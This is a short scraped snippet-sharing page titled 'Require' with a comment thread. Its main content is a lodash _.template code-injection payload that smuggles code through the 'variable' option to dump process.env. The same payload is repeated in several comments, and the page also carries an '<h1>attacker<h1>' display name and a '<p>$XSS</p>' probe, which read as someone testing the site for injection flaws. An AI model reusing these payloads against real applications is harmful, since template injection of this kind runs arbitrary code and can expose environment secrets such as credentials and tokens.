Sign inJoin
3
4 Comments

Require

by <h1>attacker<h1>

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

<h1>attacker<h1>'s avatar<h1>attacker<h1>
on December 31, 2021
Say something nice to calipso…
Post Comment
  1. 1

    <p>$XSS</p>

    <h1>attacker<h1>'s avatar <h1>attacker<h1>
    ·
    5 years ago
    ·
    Reply
  2. 1

    _.template('', { variable: '){console.log(process.env)}; with(obj' })()

    <h1>attacker<h1>'s avatar <h1>attacker<h1>
    ·
    5 years ago
    ·
    Reply
    1. 1

      _.template('', { variable: '){console.log(process.env)}; with(obj' })()

      <h1>attacker<h1>'s avatar <h1>attacker<h1>
      ·
      5 years ago
      ·
      Reply
  3. 1

    _.template('', { variable: '){console.log(process.env)}; with(obj' })()

    <h1>attacker<h1>'s avatar <h1>attacker<h1>
    ·
    5 years ago
    ·
    Reply